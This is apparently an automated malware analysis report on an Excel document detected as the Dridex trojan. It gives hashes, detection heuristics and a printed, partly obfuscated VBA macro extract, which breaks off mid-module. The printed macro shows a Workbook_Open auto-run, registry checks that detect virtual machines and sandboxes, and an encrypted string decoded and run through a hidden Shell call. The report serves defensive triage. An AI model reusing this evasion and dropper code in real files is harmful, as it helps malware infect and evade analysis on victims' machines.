Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9afa90370cfd217a…

MALICIOUS

Office (OLE)

126.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: 7f63dcb886bd5b8660e8c4739083dae6 SHA-1: aad3fa063865cbd4146883a6a921ec3133d94398 SHA-256: 9afa90370cfd217ae1ec36e752a393537878a2f3b5f9159f61690e7790904b0d
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The file contains VBA macros with a Workbook_Open auto-execution trigger. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macro attempts to execute commands or launch external processes. The ClamAV detection as Xls.Trojan.Dridex-10 further supports a malicious classification, likely involving the download and execution of a secondary payload.

Heuristics 10

  • ClamAV: Xls.Trojan.Dridex-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Dridex-10
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell oPOJidsf, 0
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Set WShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set WShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
               If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37098 bytes
SHA-256: ad5c6e1a9c36cf4a6a02a1407df7f5165fad6eed37e757a218f783af993b7671
Detection
ClamAV: No threats found
Obfuscation or payload: likely
409 of 575 identifiers look randomly generated (e.g. 'fGTxESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
jhVKdsfjsd
Dim siNQQVbL As Integer
For siNQQVbL = 0 To 0
If siNQQVbL = 5 Then End
Next siNQQVbL
Dim gJLryR As Integer
For gJLryR = 0 To 0
If gJLryR = 5 Then End
Next gJLryR
Dim wVKHBTQ As Integer
For wVKHBTQ = 0 To 0
If wVKHBTQ = 5 Then End
Next wVKHBTQ
End Sub



Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Function nxNZiOiHENlXPUXVbjKuvaMDRZpscgBqooOqJ()

Dim vowYxIwMEb As Integer
vowYxIwMEb = 8:
Do While vowYxIwMEb < 30
   DoEvents: vowYxIwMEb = vowYxIwMEb + 1
Loop

If "dJaAtNalSZ" = "QyrtgazWfE" Then End

If "AmpntVcNOs" = "xVjrBLurmC" Then End

End Function

Private Function wwWyRnRgNmuWxtGnKCTUesVCHrYSLyKjXOwpr()

If "nMxiuRPuDk" = "vPUfDSsJTW" Then End

If "ukPPoRcGjy" = "FeNoQMyGCu" Then End

GoTo mwLNUsKqdd
mwLNUsKqdd:

End Function

Private Sub HLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsigg()

GoTo rAnNVQrNAd
rAnNVQrNAd:

GoTo tnYTovaSSl
tnYTovaSSl:

Dim ZdjYhXjSys As Long
ZdjYhXjSys = "2076":

End Sub


Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function jXOwprFSxuEcnYkHFkTBlFKvTIJyJMQkaFfeH()

GoTo XdDLNoKwea
XdDLNoKwea:

Dim jLVjlsRIPb As Integer
jLVjlsRIPb = 7:
Do While jLVjlsRIPb < 16
   DoEvents: jLVjlsRIPb = jLVjlsRIPb + 1
Loop

Dim AOYnziviOL As Integer
AOYnziviOL = 0:
Do While AOYnziviOL < 11
   DoEvents: AOYnziviOL = AOYnziviOL + 1
Loop

GoTo PuxvbKRVva
PuxvbKRVva:

If "zpTcgBRoPO" = "qJmQylltop" Then End

Dim mCBSMwrNUZ As Integer
mCBSMwrNUZ = 8:
Do While mCBSMwrNUZ < 26
   DoEvents: mCBSMwrNUZ = mCBSMwrNUZ + 1
Loop

GoTo KxCIWGvhqw
KxCIWGvhqw:

GoTo mvUfxcfdjS
mvUfxcfdjS:

Dim DEiuLQYBko As Integer
DEiuLQYBko = 4:
Do While DEiuLQYBko < 12
   DoEvents: DEiuLQYBko = DEiuLQYBko + 1
Loop

End Function

Public Sub ooOqJfJYlemOplxmCtrMWrNtyQQKDqCIPGohj()

GoTo uEcnyLOMrt
uEcnyLOMrt:

Dim lMRWTIQZJT As Long
lMRWTIQZJT = "4654":

Dim FfeHzWnvVD As Long
FfeHzWnvVD = "146":

If "CoWskbcNBd" = "kpAgatHsrf" Then End

If "FYANaGDMkW" = "HTPNTbJtnS" Then End

Dim QRhrUYTJnn As Long
QRhrUYTJnn = "8655":

If "EIXdDLNoKw" = "easjLVjlsR" Then End

If "PbbptAOYnz" = "iviOLUMXPu" Then End

GoTo bKRVvamjyz
bKRVvamjyz:

End Sub

Private Sub hkUYsiggGIBEIQdDLGhdpetsjEOJelqIIbCPt()

Dim vhqwqpmvUf As Integer
vhqwqpmvUf = 9:
Do While vhqwqpmvUf < 14
   DoEvents: vhqwqpmvUf = vhqwqpmvUf + 1
Loop

GoTo jSsDEiuLQY
jSsDEiuLQY:

Dim ojZXXwZrOr As Long
ojZXXwZrOr = "4269":

GoTo uwYUgVKCAu
uwYUgVKCAu:

Dim AVChyySlZK As Integer
AVChyySlZK = 6:
Do While AVChyySlZK < 28
   DoEvents: AVChyySlZK = AVChyySlZK + 1
Loop

Dim XQSFZxuEcn As Integer
XQSFZxuEcn = 10:
Do While XQSFZxuEcn < 30
   DoEvents: XQSFZxuEcn = XQSFZxuEcn + 1
Loop

Dim MrtalMRWTI As Integer
MrtalMRWTI = 7:
Do While MrtalMRWTI < 3
   DoEvents: MrtalMRWTI = MrtalMRWTI + 1
Loop

GoTo TQkaFfeHzW
TQkaFfeHzW:

Dim vVDFGCoWsk As Long
vVDFGCoWsk = "5896":

End Sub

Private Sub UesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKvT()

Dim UYTJnnmPBE As Integer
UYTJnnmPBE = 3:
Do While UYTJnnmPBE < 2
   DoEvents: UYTJnnmPBE = UYTJnnmPBE + 1
Loop

Dim DLNoKweasj As Integer
DLNoKweasj = 10:
Do While DLNoKweasj < 6
   DoEvents: DLNoKweasj = DLNoKweasj + 1
Loop

GoTo sRIPbbptAO
sRIPbbptAO:

Dim nziviOLUMX As Integer
nziviOLUMX = 8:
Do While nziviOLUMX < 27
   DoEvents: nziviOLUMX = nziviOLUMX + 1
Loop

GoTo vbKRVvamjy
vbKRVvamjy:

Dim pTcgBRoPOq As Integer
pTcgBRoPOq = 8:
Do While pTcgBRoPOq < 15
   DoEvents: pTcgBRoPOq = pTcgBRoPOq + 1
Loop

Dim ylltoplYmC As Integer
ylltoplYmC = 6:
Do While ylltoplYmC < 11
   DoEvents: ylltoplYmC = ylltoplYmC + 1
Loop

GoTo wrNUZqqKKx
wrNUZqqKKx:

GoTo IWGvhqwqpm
IWGvhqwqpm:

End Sub

Private Sub NlXPUXVbjKuvaMDRZpscgBqooOqJfJYlemOpl()

GoTo CAueAVChyy
CAueAVChyy:

GoTo KqxOXQSFZx
KqxOXQSFZx:

Dim EcnyLOMrta As Long
EcnyLOMrta = "272":

Dim RWTIQZJTQk As Integer
RWTIQZJTQk = 5:
Do While RWTIQZJTQk < 19
   DoEvents: RWTIQZJTQk = RWTIQZJTQk + 1
Loop

Dim zWnvVDFGCo As Long
zWnvVDFGCo = "5900":

Dim kbcNBdkpAg As Long
kbcNBdkpAg = "1401":

If "HsrfwFYANa" = "GDMkWHTPNT" Then End

If "JtnSEbQRhr" = "UYTJnnmPBE" Then End

GoTo sjLVjlsRIP
sjLVjlsRIP:

End Sub

Private Function TTHLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsi()

Dim lYmCBSMwrN As Long
lYmCBSMwrN = "4520":

Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":

If "wqpmvUfxcf" = "djSsDEiuLQ" Then End

Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":

Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
   DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop

Dim VChyySlZKq As Integer
VChyySlZKq = 6:
Do While VChyySlZKq < 16
   DoEvents: VChyySlZKq = VChyySlZKq + 1
Loop

GoTo QSFZxuEcny
QSFZxuEcny:

If "rtalMRWTIQ" = "ZJTQkaFfeH" Then End

Dim nvVDFGCoWs As Long
nvVDFGCoWs = "8149":

End Function

Private Function TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv()

If "hrUYTJnnmP" = "BEIXdDLNoK" Then End

GoTo IPbbptAOYn
IPbbptAOYn:

Dim iOLUMXPuxv As Long
iOLUMXPuxv = "4273":

Dim RVvamjyzpT As Integer
RVvamjyzpT = 8:
Do While RVvamjyzpT < 9
   DoEvents: RVvamjyzpT = RVvamjyzpT + 1
Loop

If "RoPOqJmQyl" = "ltoplYmCBS" Then End

If "rNUZqqKKxC" = "IWGvhqwqpm" Then End

If "UfxcfdjSsD" = "EiuLQYBkoj" Then End

If "XXwZrOrgUm" = "uwYUgVKCAu" Then End

Dim qxOXQSFZxu As Integer
qxOXQSFZxu = 8:
Do While qxOXQSFZxu < 8
   DoEvents: qxOXQSFZxu = qxOXQSFZxu + 1
Loop

End Function

Private Sub fQcfdjLSDEinLzhqBkhcSwwWyRnRgNmuWxtGn()

GoTo cNBdkpAgat
cNBdkpAgat:

GoTo srfwFYANaG
srfwFYANaG:

Dim MkWHTPNTbJ As Long
MkWHTPNTbJ = "1275":

Dim SEbQRhrUYT As Long
SEbQRhrUYT = "5649":

Dim mPBEIXdDLN As Integer
mPBEIXdDLN = 1:
Do While mPBEIXdDLN < 9
   DoEvents: mPBEIXdDLN = mPBEIXdDLN + 1
Loop

If "easjLVjlsR" = "IPbbptAOYn" Then End

Dim JmQylltopl As Long
JmQylltopl = "895":

Dim BSMwrNUZqq As Long
BSMwrNUZqq = "9270":

If "xCIWGvhqwq" = "pmvUfxcfdj" Then End

End Sub

Private Sub jKuvaMDRZpscgBqooOqJfJYlemOplxmCtrMWr()

GoTo yySlZKqxOX
yySlZKqxOX:

Dim SFZxuEcnyL As Integer
SFZxuEcnyL = 2:
Do While SFZxuEcnyL < 15
   DoEvents: SFZxuEcnyL = SFZxuEcnyL + 1
Loop

GoTo talMRWTIQZ
talMRWTIQZ:

Dim atHsrfwFYA As Integer
atHsrfwFYA = 3:
Do While atHsrfwFYA < 9
   DoEvents: atHsrfwFYA = atHsrfwFYA + 1
Loop

GoTo tnSEbQRhrU
tnSEbQRhrU:

Dim JnnmPBEIXd As Long
JnnmPBEIXd = "7522":

Dim NoKweasjLV As Long
NoKweasjLV = "4528":

Dim YnziviOLUM As Integer
YnziviOLUM = 10:
Do While YnziviOLUM < 1
   DoEvents: YnziviOLUM = YnziviOLUM + 1
Loop

Dim xvbKRVvamj As Integer
xvbKRVvamj = 6:
Do While xvbKRVvamj < 3
   DoEvents: xvbKRVvamj = xvbKRVvamj + 1
Loop

End Sub


Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Function bJmnSEbQRhkUYsiggGIBEIQdDLGhdpetsjEOJ()

Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":

If "wqpmvUfxcf" = "djSsDEiuLQ" Then End

Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":

Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
   DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop

End Function

Public Sub rNtyQQKDqCIPGohjwqPMVtfQcfdjLSDEinLzh()

GoTo QkaFfeHzWn
QkaFfeHzWn:

Dim VDFGCoWskb As Long
VDFGCoWskb = "8643":

If "BdkpAgatHs" = "rfwFYANaGD" Then End

Dim kWHTPNTbJt As Integer
kWHTPNTbJt = 1:
Do While kWHTPNTbJt < 22
   DoEvents: kWHTPNTbJt = kWHTPNTbJt + 1
Loop

End Sub

Private Function vTIJyJMQkaFfeHsvZoVuDFGCovSkbcmBdKiAg()

Dim tAOYnziviO As Integer
tAOYnziviO = 6:
Do While tAOYnziviO < 21
   DoEvents: tAOYnziviO = tAOYnziviO + 1
Loop

Dim XPuxvbKRVv As Long
XPuxvbKRVv = "3023":

If "jyzpTcgBRo" = "POqJmQyllt" Then End

GoTo plYmCBSMwr
plYmCBSMwr:

End Function

Private Sub elqIIbCPtznxNZiOiHENlXPUXVbjKuvaMDRZp()

Dim jZXXwZrOrg As Integer
jZXXwZrOrg = 4:
Do While jZXXwZrOrg < 26
   DoEvents: jZXXwZrOrg = jZXXwZrOrg + 1
Loop

Dim wYUgVKCAue As Integer
wYUgVKCAue = 3:
Do While wYUgVKCAue < 27
   DoEvents: wYUgVKCAue = wYUgVKCAue + 1
Loop

If "hyySlZKqxO" = "XQSFZxuEcn" Then End

Dim LOMrtalMRW As Integer
LOMrtalMRW = 4:
Do While LOMrtalMRW < 20
   DoEvents: LOMrtalMRW = LOMrtalMRW + 1
Loop

End Sub


Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub uEcnYkHFkTBlFKvTIJyJMQkaFfeHsvZoVuDFG()

Dim CuLmwLNUsK As Integer
CuLmwLNUsK = 2:
Do While CuLmwLNUsK < 19
   DoEvents: CuLmwLNUsK = CuLmwLNUsK + 1
Loop

End Sub


Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function xmCtrMWrNtyQQKDqCIPGohjwqPMVtfQcfdjLS()

Dim xVjrBLurmC As Integer
xVjrBLurmC = 9:
Do While xVjrBLurmC < 24
   DoEvents: xVjrBLurmC = xVjrBLurmC + 1
Loop

End Function


Attribute VB_Name = "dfsdf"


 Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
 Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
 Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
 Const HKEY_LOCAL_MACHINE = &H80000002
 
 Public Function IsVirtualPCPresent() As Long
 Dim lhKey As Long
 Dim sBuffer As String
 Dim lLen As Long
 If RegOpenKeyEx(&H80000002, "SYSTEM\ControlSet001\Services\Disk\Enum", _
 0, &H20019, lhKey) = 0 Then
 sBuffer = Space$(255): lLen = 255
 If RegQueryValueEx(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
 sBuffer = UCase(Left$(sBuffer, lLen - 1))
 Select Case True
 Case sBuffer Like "*VIRTUAL*": IsVirtualPCPresent = 1
 Case sBuffer Like "*VMWARE*": IsVirtualPCPresent = 2
 Case sBuffer Like "*VBOX*": IsVirtualPCPresent = 3
 If IsVirtualPCPresent = 1 Or 2 Or 3 Then End
 End Select
 End If
 Call RegCloseKey(lhKey)
 End If
 End Function

Attribute VB_Name = "load"
 Sub jhVKdsfjsd()
    If IsSandBoxiePresent(1) = True Then End
    If IsAnubisPresent(1) = True Then End
    If IsVirtualPCPresent = True Then End
oPOJidsf = MkSrpQP("ИЇ§l…њ”љ±є±И¤ЬК®Їz»ЙЩ…j‘±Н~ГЗ¬ЁЇКqЗЮµ·±Г ВК¶qЈ»і·С«ЁєКzў©±єєВАХЙ€¬ё»y›Н¶·јђЂЈќwq}Љ„ў–xyz‡Љ¤”Ј¶°МЙЈЛ©«ї„БЬХios{Ґ№І’hЁєДЪШ¦‰’њЗўИЈҐs Њ”Кєі­Дµ”Љ–€™¦vРЙµ©їє—є«ёqЇ·і”Љ–€™¦vРЙµ©їє—є«ёq±О¶Ї…µ·­ИЕ”Љ–€™¦vРЙµ©їє—є«ёq±О¶Ї", "eBCLVQtJ")

Dim wfSoeUjt As Integer
For wfSoeUjt = 0 To 0
If wfSoeUjt = 5 Then End
Next wfSoeUjt
Dim tNhbQ As Integer
For tNhbQ = 0 To 0
If tNhbQ = 5 Then End
Next tNhbQ
Shell oPOJidsf, 0
Dim stahzHxdYZQ As Integer
For stahzHxdYZQ = 0 To 0
If stahzHxdYZQ = 5 Then End
Next stahzHxdYZQ
    End Sub


Attribute VB_Name = "Module1"
Private Sub gbwEJaatNBMSZQyrtgBZWfEpampntVcNOsxVj()

Dim VpfKKjMeBe As Long
VpfKKjMeBe = "4141":

If "ojLHtBXPGh" = "rGIPuFlFyM" Then End

Dim kBKDFSFkhR As Long
kBKDFSFkhR = "6144":

Dim lYUSYgnysX As Integer
lYUSYgnysX = 9:
Do While lYUSYgnysX < 19
   DoEvents: lYUSYgnysX = lYUSYgnysX + 1
Loop

If "WMWZDxnSsr" = "UfJmCiIQST" Then End

GoTo bJfxopAOqx
bJfxopAOqx:

End Sub

Public Sub sKqddRVCpzPbKXkQNWnyqWZXDlTwxcOlabrue()

If "ttTvORVDqQ" = "YTuqDrgfwR" Then End

If "wryEVVoocg" = "NBLamvbvUR" Then End

Dim ZKChkioXxI As Long
ZKChkioXxI = "7641":

If "zQemcGptOE" = "bCBdWsWlyr" Then End

Dim bcyLlHFZje As Long
bcyLlHFZje = "1896":

Dim MddXQdPVcT As Long
MddXQdPVcT = "6018":

End Sub

Public Function rtgBZWfEpampntVcNOsxVjrBLurmcHHgJbxbq()

Dim jLHtBXPGhr As Long
jLHtBXPGhr = "2393":

Dim PuFlFyMXwk As Long
PuFlFyMXwk = "6265":

GoTo DFSFkhRpal
DFSFkhRpal:

If "SYgnysXJGV" = "WMWZDxnSsr" Then End

Dim JmCiIQSTPb As Long
JmCiIQSTPb = "5772":

If "pAOqxvNtgg" = "UyescSENAn" Then End

End Function

Private Function QNWnyqWZXDlTwxcOlabrueiDsqqpSLOranNVQ()

Dim rgfwRBwryE As Integer
rgfwRBwryE = 7:
Do While rgfwRBwryE < 27
   DoEvents: rgfwRBwryE = rgfwRBwryE + 1
Loop

GoTo cgNBLamvbv
cgNBLamvbv:

Dim RaZKChkioX As Long
RaZKChkioX = "7273":

If "inzQemcGpt" = "OEbCBdWsWl" Then End

GoTo rzbcyLlHFZ
rzbcyLlHFZ:

Dim eAHMddXQdP As Integer
eAHMddXQdP = 5:
Do While eAHMddXQdP < 29
   DoEvents: eAHMddXQdP = eAHMddXQdP + 1
Loop

End Function

Public Function QyrtgBZWfEpampntVcNOsxVjrBLurmcHHgJbx()

Dim XwkBKDFSFk As Integer
XwkBKDFSFk = 4:
Do While XwkBKDFSFk < 6
   DoEvents: XwkBKDFSFk = XwkBKDFSFk + 1
Loop

Dim alYUSYgnys As Long
alYUSYgnys = "888":

If "VWMWZDxnSs" = "rUfJmCiIQS" Then End

GoTo vNtggUyesc
vNtggUyesc:

Dim ENAnTQZqCU As Long
ENAnTQZqCU = "2268":

GoTo AGoWAaFRoD
AGoWAaFRoD:

End Function

Public Function brueiDsqqpSLOranNVQrnAoEDtOYTovBSSllZ()

GoTo LamvbvURaZ
LamvbvURaZ:

Dim ChkioXxIin As Integer
ChkioXxIin = 1:
Do While ChkioXxIin < 21
   DoEvents: ChkioXxIin = ChkioXxIin + 1
Loop

GoTo mcGptOEbCB
mcGptOEbCB:

Dim WsWlyrzbcy As Integer
WsWlyrzbcy = 1:
Do While WsWlyrzbcy < 22
   DoEvents: WsWlyrzbcy = WsWlyrzbcy + 1
Loop

Dim FZjeAHMddX As Long
FZjeAHMddX = "8268":

If "PVcTbuwjdc" = "ziHsdpsqwY" Then End

End Function


Attribute VB_Name = "Module2"
Private Function fGTxESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFV()

Dim HLncVDFgCo As Long
HLncVDFgCo = "5898":

Dim kicNIdkpHH As Long
kicNIdkpHH = "1398":

If "HsyGwFYANh" = "GDMkWHTWUA" Then End

GoTo UuZEbqYhrB
UuZEbqYhrB:

Dim TJnnNpIeIX As Long
TJnnNpIeIX = "5651":

Dim lNokXeaTjL As Integer
lNokXeaTjL = 1:
Do While lNokXeaTjL < 14
   DoEvents: lNokXeaTjL = lNokXeaTjL + 1
Loop

Dim YiPiCpaAOF As Long
YiPiCpaAOF = "9154":

If "iviOLuTEPb" = "xvbKrCWamK" Then End

End Function

Private Sub MNdNQUoeJjiLwAdsZyHJKGsaWofgqFhOmEkXX()

If "wGvhqdRwtc" = "UfxcfEjSzd" Then End

Dim JuSghYBkPj As Integer
JuSghYBkPj = 8:
Do While JuSghYBkPj < 6
   DoEvents: JuSghYBkPj = JuSghYBkPj + 1
Loop

If "wZrVygUtbw" = "YUgVKJAueA" Then End

GoTo ChZySsGKqe
ChZySsGKqe:

Dim QZFZxuEcOf As Integer
QZFZxuEcOf = 5:
Do While QZFZxuEcOf < 9
   DoEvents: QZFZxuEcOf = QZFZxuEcOf + 1
Loop

If "aBlmRDtIQG" = "jTXrhFfeHL" Then End

Dim PcVDFgCoDs As Long
PcVDFgCoDs = "8147":

Dim cNIdkpHHat As Long
cNIdkpHHat = "3146":

End Sub

Private Function GMTKslnBuTQZxjUgjhnPWHImrPEluFolgWBBa()

GoTo IXdDlNokXe
IXdDlNokXe:

GoTo TjLVjlsYiP
TjLVjlsYiP:

GoTo CpaAOFngiv
CpaAOFngiv:

GoTo OLuTEPbxvb
OLuTEPbxvb:

If "rCWamKyzpA" = "cgbRvWVxJm" Then End

GoTo fMltvwsFmJ
fMltvwsFmJ:

Dim TdrUBZqxKK As Long
TdrUBZqxKK = "5153":

Dim IwGvhqdRwt As Integer
IwGvhqdRwt = 1:
Do While IwGvhqdRwt < 26
   DoEvents: IwGvhqdRwt = IwGvhqdRwt + 1
Loop

End Function

Private Sub TLQTRXfNqrWIfUVloYcwmkkKMFIMUhHPKlhti()

GoTo eAvChZySsG
eAvChZySsG:

Dim qeoEQZFZxu As Long
qeoEQZFZxu = "8022":

GoTo OfLOMSaBlm
OfLOMSaBlm:

Dim DtIQGjTXrh As Long
DtIQGjTXrh = "6529":

GoTo eHLncVDFgC
eHLncVDFgC:

GoTo DskicNIdkp
DskicNIdkp:

Dim HatHsyGwFY As Integer
HatHsyGwFY = 1:
Do While HatHsyGwFY < 9
   DoEvents: HatHsyGwFY = HatHsyGwFY + 1
Loop

If "GDMkWHTWUA" = "bJUuZEbqYh" Then End

End Sub

Private Function FolgWBBaDVrVkRqyaCxKrOGXYiwZGLvcWPDOn()

Dim giviOLuTEP As Integer
giviOLuTEP = 3:
Do While giviOLuTEP < 6
   DoEvents: giviOLuTEP = giviOLuTEP + 1
Loop

Dim bKrCWamKyz As Long
bKrCWamKyz = "6521":

If "cgbRvWVxJm" = "QfMltvwsFm" Then End

Dim BSTdrUBZqx As Long
BSTdrUBZqx = "3405":

If "xCIwGvhqdR" = "wtcUfxcfEj" Then End

Dim zdEJuSghYB As Integer
zdEJuSghYB = 9:
Do While zdEJuSghYB < 24
   DoEvents: zdEJuSghYB = zdEJuSghYB + 1
Loop

If "zXXwZrVygU" = "tbwYUgVKJA" Then End

GoTo AvChZySsGK
AvChZySsGK:

End Function

Public Function ESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFVssSu()

If "PcVDFgCoDs" = "kicNIdkpHH" Then End

If "HsyGwFYANh" = "GDMkWHTWUA" Then End

GoTo yTJnnNpIeI
yTJnnNpIeI:

If "dDlNokXeaT" = "jLVjlsYiPi" Then End

If "aAOFngiviO" = "LuTEPbxvbK" Then End

If "CWamKyzpAc" = "gbRvWVxJmQ" Then End

If "MltvwsFmJB" = "STdrUBZqxK" Then End

Dim SzdEJuSghY As Integer
SzdEJuSghY = 2:
Do While SzdEJuSghY < 14
   DoEvents: SzdEJuSghY = SzdEJuSghY + 1
Loop

End Function

Private Sub cwmkkKMFIMUhHPKlhtixwnISNipuMMfGTxESC()

GoTo ZxuEcOfLOM
ZxuEcOfLOM:

If "aBlmRDtIQG" = "jTXrhFfeHL" Then End

Dim atHsyGwFYA As Long
atHsyGwFYA = "2770":

GoTo rByTJnnNpI
rByTJnnNpI:

Dim aTjLVjlsYi As Long
aTjLVjlsYi = "6019":

Dim iOLuTEPbxv As Integer
iOLuTEPbxv = 4:
Do While iOLuTEPbxv < 24
   DoEvents: iOLuTEPbxv = iOLuTEPbxv + 1
Loop

GoTo KKxCIwGvhq
KKxCIwGvhq:

Dim RwtcUfxcfE As Long
RwtcUfxcfE = "5274":

End Sub

Private Function fNqrWIfUVloYcwmkkKMFIMUhHPKlhtixwnISN()

Dim ZySsGKqeoE As Long
ZySsGKqeoE = "3029":

GoTo SaBlmRDtIQ
SaBlmRDtIQ:

Dim ncVDFgCoDs As Integer
ncVDFgCoDs = 8:
Do While ncVDFgCoDs < 13
   DoEvents: ncVDFgCoDs = ncVDFgCoDs + 1
Loop

Dim IdkpHHatHs As Integer
IdkpHHatHs = 7:
Do While IdkpHHatHs < 13
   DoEvents: IdkpHHatHs = IdkpHHatHs + 1
Loop

Dim FYANhGDMkW As Integer
FYANhGDMkW = 1:
Do While FYANhGDMkW < 15
   DoEvents: FYANhGDMkW = FYANhGDMkW + 1
Loop

Dim UAbJUuZEbq As Integer
UAbJUuZEbq = 8:
Do While UAbJUuZEbq < 19
…